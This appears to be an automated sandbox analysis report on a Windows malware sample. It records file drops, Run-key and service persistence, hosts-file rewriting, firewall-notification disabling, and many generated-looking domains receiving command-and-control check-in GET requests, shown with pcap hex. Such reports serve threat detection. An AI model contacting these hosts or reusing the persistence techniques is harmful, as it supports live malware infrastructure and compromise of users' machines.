Analysis Date2014-10-06 12:46:35
MD575962068ec7e8f09202a528a52730192
SHA11fa39598fd32acdb348bb4ae3cb24e504ff859c0

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 72950b53fbf37382d60ff0029b1eb68d sha1: db3de4faf8b48c822baaded886555141e030ab64 size: 678912
Section.rdata md5: 946bf86f30e37c2438341151326aff58 sha1: b9f50af3fcbfcfaac7120d1005663dd2c2fb5500 size: 55296
Section.data md5: 7ff0a64dd7920d2c122c8f159e55ea2c sha1: 30d784af48ea06a7e066841192ea7f1a2949ba8e size: 125440
Timestamp2014-04-07 06:20:12
PackerMicrosoft Visual C++ ?.?
PEhash3cf3666ac8e94e485f1f1184a19dfc77205fabeb
IMPhash3da465b73a4d3c8bc1ecfa02426c319b

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\WINDOWS\system32\rzhlguu\tst
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\vhzntjf1lsaleewgs4wx.exe
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Temp\vhzntjf1lsaleewgs4wx.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Temp\vhzntjf1lsaleewgs4wx.exe

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Reporting Level Accounts Scheduler ➝
C:\WINDOWS\system32\pveupwmqp.exe
Creates FileC:\WINDOWS\system32\rzhlguu\lck
Creates FileC:\WINDOWS\system32\rzhlguu\tst
Creates FileC:\WINDOWS\system32\drivers\etc\hosts
Creates FileC:\WINDOWS\system32\pveupwmqp.exe
Creates FileC:\WINDOWS\system32\rzhlguu\etc
Deletes FileC:\WINDOWS\system32\\drivers\etc\hosts
Creates ProcessC:\WINDOWS\system32\pveupwmqp.exe
Creates ServiceIsolation Services Provider - C:\WINDOWS\system32\pveupwmqp.exe

Process
↳ C:\WINDOWS\system32\svchost.exe

Process
↳ Pid 804

Process
↳ Pid 848

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates FileC:\WINDOWS\system32\WBEM\Logs\wbemess.log

Process
↳ Pid 1204

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00
Creates FileWMIDataDevice

Process
↳ Pid 1052

Process
↳ C:\WINDOWS\system32\pveupwmqp.exe

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Security Center\FirewallDisableNotify ➝
1
Creates FileC:\WINDOWS\system32\rzhlguu\rng
Creates FileC:\WINDOWS\TEMP\vhzntjf1ru6lee.exe
Creates FileC:\WINDOWS\system32\ajbwotfydgu.exe
Creates FileC:\WINDOWS\system32\rzhlguu\cfg
Creates FileC:\WINDOWS\system32\rzhlguu\tst
Creates FileC:\WINDOWS\system32\rzhlguu\lck
Creates Filepipe\net\NtControlPipe10
Creates FileC:\WINDOWS\system32\rzhlguu\run
Creates File\Device\Afd\Endpoint
Creates ProcessWATCHDOGPROC "c:\windows\system32\pveupwmqp.exe"
Creates ProcessC:\WINDOWS\TEMP\vhzntjf1ru6lee.exe -r 34057 tcp

Process
↳ C:\WINDOWS\system32\pveupwmqp.exe

Creates FileC:\WINDOWS\system32\rzhlguu\tst

Process
↳ WATCHDOGPROC "c:\windows\system32\pveupwmqp.exe"

Creates FileC:\WINDOWS\system32\rzhlguu\tst

Process
↳ C:\WINDOWS\TEMP\vhzntjf1ru6lee.exe -r 34057 tcp

Creates File\Device\Afd\Endpoint
Winsock DNS239.255.255.250

Network Details:

DNSstickmarch.net
Type: A
69.195.129.70
DNStablefruit.net
Type: A
69.195.129.70
DNSmightglossary.net
Type: A
208.91.197.241
DNSrequireneither.net
Type: A
208.91.197.241
DNSgentlefriend.net
Type: A
208.91.197.241
DNSglasshealth.net
Type: A
208.91.197.241
DNSrememberpaint.net
Type: A
208.91.197.241
DNSthroughcountry.net
Type: A
208.91.197.241
DNSfairhigh.net
Type: A
67.196.64.226
DNSfaircolor.net
Type: A
23.104.238.55
DNSfaironly.net
Type: A
207.211.91.20
DNSdreamfeel.net
Type: A
65.39.205.54
DNSdreamhigh.net
Type: A
184.168.221.104
DNSdreamcolor.net
Type: A
106.186.19.180
DNSthiscolor.net
Type: A
69.163.153.19
DNSspotguide.net
Type: A
82.135.122.10
DNSgroupguide.net
Type: A
50.63.202.104
DNSwatchguide.net
Type: A
66.151.181.49
DNSfairguide.net
Type: A
82.165.105.244
DNSthisname.net
Type: A
194.68.6.3
DNSdreamguide.net
Type: A
66.151.181.49
DNSdreamcolor.net
Type: A
106.186.19.180
DNSnecessarydress.net
Type: A
DNSlittleappear.net
Type: A
DNSvisithigh.net
Type: A
DNSspokecolor.net
Type: A
DNSvisitcolor.net
Type: A
DNSspokeonly.net
Type: A
DNSvisitonly.net
Type: A
DNSwatchfeel.net
Type: A
DNSfairfeel.net
Type: A
DNSwatchhigh.net
Type: A
DNSwatchcolor.net
Type: A
DNSwatchonly.net
Type: A
DNSthisfeel.net
Type: A
DNSthishigh.net
Type: A
DNSdreamonly.net
Type: A
DNSthisonly.net
Type: A
DNSarivehalf.net
Type: A
DNSsouthhalf.net
Type: A
DNSarivename.net
Type: A
DNSsouthname.net
Type: A
DNSariveguide.net
Type: A
DNSsouthguide.net
Type: A
DNSarivelate.net
Type: A
DNSsouthlate.net
Type: A
DNSuponhalf.net
Type: A
DNSwhichhalf.net
Type: A
DNSuponname.net
Type: A
DNSwhichname.net
Type: A
DNSuponguide.net
Type: A
DNSwhichguide.net
Type: A
DNSuponlate.net
Type: A
DNSwhichlate.net
Type: A
DNSspothalf.net
Type: A
DNSsalthalf.net
Type: A
DNSspotname.net
Type: A
DNSsaltname.net
Type: A
DNSsaltguide.net
Type: A
DNSspotlate.net
Type: A
DNSsaltlate.net
Type: A
DNSgladhalf.net
Type: A
DNStakenhalf.net
Type: A
DNSgladname.net
Type: A
DNStakenname.net
Type: A
DNSgladguide.net
Type: A
DNStakenguide.net
Type: A
DNSgladlate.net
Type: A
DNStakenlate.net
Type: A
DNSequalhalf.net
Type: A
DNSgrouphalf.net
Type: A
DNSequalname.net
Type: A
DNSgroupname.net
Type: A
DNSequalguide.net
Type: A
DNSequallate.net
Type: A
DNSgrouplate.net
Type: A
DNSspokehalf.net
Type: A
DNSvisithalf.net
Type: A
DNSspokename.net
Type: A
DNSvisitname.net
Type: A
DNSspokeguide.net
Type: A
DNSvisitguide.net
Type: A
DNSspokelate.net
Type: A
DNSvisitlate.net
Type: A
DNSwatchhalf.net
Type: A
DNSfairhalf.net
Type: A
DNSwatchname.net
Type: A
DNSfairname.net
Type: A
DNSwatchlate.net
Type: A
DNSfairlate.net
Type: A
DNSdreamhalf.net
Type: A
DNSthishalf.net
Type: A
DNSdreamname.net
Type: A
DNSthisguide.net
Type: A
DNSdreamlate.net
Type: A
DNSthislate.net
Type: A
HTTP GEThttp://stickmarch.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://tablefruit.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://mightglossary.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://requireneither.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://gentlefriend.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://glasshealth.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://rememberpaint.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://throughcountry.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://fairhigh.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://faircolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://faironly.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamfeel.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamhigh.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamcolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://thiscolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://spotguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://groupguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://watchguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://fairguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://thisname.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://stickmarch.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://tablefruit.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://mightglossary.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://requireneither.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://gentlefriend.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://glasshealth.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://rememberpaint.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://throughcountry.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://fairhigh.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://faircolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://faironly.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamfeel.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamhigh.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamcolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://thiscolor.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://spotguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://groupguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://watchguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://fairguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://thisname.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
HTTP GEThttp://dreamguide.net/forum/search.php?method=validate&mode=sox&v=027&sox=3c8f5c01
User-Agent:
Flows TCP192.168.1.1:1036 ➝ 69.195.129.70:80
Flows TCP192.168.1.1:1037 ➝ 69.195.129.70:80
Flows TCP192.168.1.1:1038 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1039 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1040 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1041 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1043 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1044 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1045 ➝ 67.196.64.226:80
Flows TCP192.168.1.1:1046 ➝ 23.104.238.55:80
Flows TCP192.168.1.1:1047 ➝ 207.211.91.20:80
Flows TCP192.168.1.1:1048 ➝ 65.39.205.54:80
Flows TCP192.168.1.1:1049 ➝ 184.168.221.104:80
Flows TCP192.168.1.1:1050 ➝ 106.186.19.180:80
Flows TCP192.168.1.1:1051 ➝ 69.163.153.19:80
Flows TCP192.168.1.1:1052 ➝ 82.135.122.10:80
Flows TCP192.168.1.1:1053 ➝ 50.63.202.104:80
Flows TCP192.168.1.1:1054 ➝ 66.151.181.49:80
Flows TCP192.168.1.1:1055 ➝ 82.165.105.244:80
Flows TCP192.168.1.1:1056 ➝ 194.68.6.3:80
Flows TCP192.168.1.1:1057 ➝ 66.151.181.49:80
Flows TCP192.168.1.1:1058 ➝ 69.195.129.70:80
Flows TCP192.168.1.1:1059 ➝ 69.195.129.70:80
Flows TCP192.168.1.1:1060 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1061 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1062 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1063 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1064 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1065 ➝ 208.91.197.241:80
Flows TCP192.168.1.1:1066 ➝ 67.196.64.226:80
Flows TCP192.168.1.1:1067 ➝ 23.104.238.55:80
Flows TCP192.168.1.1:1068 ➝ 207.211.91.20:80
Flows TCP192.168.1.1:1069 ➝ 65.39.205.54:80
Flows TCP192.168.1.1:1070 ➝ 184.168.221.104:80
Flows TCP192.168.1.1:1071 ➝ 106.186.19.180:80
Flows TCP192.168.1.1:1072 ➝ 69.163.153.19:80
Flows TCP192.168.1.1:1073 ➝ 82.135.122.10:80
Flows TCP192.168.1.1:1074 ➝ 50.63.202.104:80
Flows TCP192.168.1.1:1075 ➝ 66.151.181.49:80
Flows TCP192.168.1.1:1076 ➝ 82.165.105.244:80
Flows TCP192.168.1.1:1077 ➝ 194.68.6.3:80
Flows TCP192.168.1.1:1078 ➝ 66.151.181.49:80

Raw Pcap
0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207374 69636b6d 61726368 2e6e6574   : stickmarch.net
0x00000080 (00128)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207461 626c6566 72756974 2e6e6574   : tablefruit.net
0x00000080 (00128)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206d69 67687467 6c6f7373 6172792e   : mightglossary.
0x00000080 (00128)   6e65740d 0a0d0a                       net....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207265 71756972 656e6569 74686572   : requireneither
0x00000080 (00128)   2e6e6574 0d0a0d0a                     .net....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206765 6e746c65 66726965 6e642e6e   : gentlefriend.n
0x00000080 (00128)   65740d0a 0d0a0d0a                     et......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a20676c 61737368 65616c74 682e6e65   : glasshealth.ne
0x00000080 (00128)   740d0a0d 0a0a0d0a                     t.......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207265 6d656d62 65727061 696e742e   : rememberpaint.
0x00000080 (00128)   6e65740d 0a0d0a0a                     net.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 726f7567 68636f75 6e747279   : throughcountry
0x00000080 (00128)   2e6e6574 0d0a0d0a                     .net....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726869 67682e6e 65740d0a   : fairhigh.net..
0x00000080 (00128)   0d0a6574 0d0a0d0a                     ..et....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 6972636f 6c6f722e 6e65740d   : faircolor.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a                     ...t....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726f6e 6c792e6e 65740d0a   : faironly.net..
0x00000080 (00128)   0d0a0a74 0d0a0d0a                     ...t....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d66 65656c2e 6e65740d   : dreamfeel.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a                     ...t....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d68 6967682e 6e65740d   : dreamhigh.net.
0x00000080 (00128)   0a0d0a74 0d0a0d0a                     ...t....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206472 65616d63 6f6c6f72 2e6e6574   : dreamcolor.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 6973636f 6c6f722e 6e65740d   : thiscolor.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207370 6f746775 6964652e 6e65740d   : spotguide.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206772 6f757067 75696465 2e6e6574   : groupguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207761 74636867 75696465 2e6e6574   : watchguide.net
0x00000080 (00128)   0d0a0d0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a206661 69726775 6964652e 6e65740d   : fairguide.net.
0x00000080 (00128)   0a0d0a0a 0d0a0d0a 20a58501            ........ ...

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f6d65 74686f64 3d76616c   h.php?method=val
0x00000020 (00032)   69646174 65266d6f 64653d73 6f782676   idate&mode=sox&v
0x00000030 (00048)   3d303237 26736f78 3d336338 66356330   =027&sox=3c8f5c0
0x00000040 (00064)   31204854 54502f31 2e300d0a 41636365   1 HTTP/1.0..Acce
0x00000050 (00080)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000060 (00096)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000070 (00112)   3a207468 69736e61 6d652e6e 65740d0a   : thisname.net..
